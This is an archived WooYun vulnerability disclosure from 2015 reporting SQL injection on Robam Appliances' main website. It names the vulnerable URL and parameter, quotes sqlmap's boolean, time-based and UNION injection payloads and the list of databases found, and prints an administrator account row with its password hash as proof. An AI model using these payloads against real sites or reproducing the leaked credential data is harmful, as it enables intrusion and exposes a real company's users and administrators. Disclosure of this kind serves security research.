当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101378

漏洞标题：老板电器主站SQL注入全部信息沦陷

相关厂商：杭州老板电器股份有限公司

漏洞作者： 刻木

提交时间：2015-03-14 21:22

修复时间：2015-04-30 18:48

公开时间：2015-04-30 18:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-14： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

老板电器主站sql注入-全部信息沦陷（包括管理员信息与5000+用户信息）

详细说明：

注入点:

http://www.robam.com/minisitea7/newsinfo.php?news_id=1113


漏洞:

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: news_id=1113 AND 5711=5711
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: news_id=1113 AND (SELECT * FROM (SELECT(SLEEP(5)))dEdW)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: news_id=-6066 UNION ALL SELECT NULL,NULL,CONCAT(0x717a717a71,0x5977
756349414f716977,0x7176717171),NULL,NULL,NULL,NULL,NULL,NULL--
---
[20:09:49] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.4.16
back-end DBMS: MySQL 5.0.11


available databases [12]:
[*] bonyee
[*] dbrobamcom
[*] information_schema
[*] mysql
[*] performance_schema
[*] robam_activity
[*] robam_rec
[*] robamse
[*] robamweb
[*] sakila
[*] test
[*] world

漏洞证明：

user_id	usergroup_id	name	account	password	createtime
8	1	超级管理员	admin	$2a$10$CP8UCAqaXU06A7.E.rmsW.mBgBmrW6usumTKSiQoJ6HDFoC3IouH2	2014/3/25 17:23


a.PNG


b.PNG


c.PNG

修复方案：

加强过滤或者加个waf什么的。。
能送台油烟机不？

版权声明：转载请注明来源 刻木@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)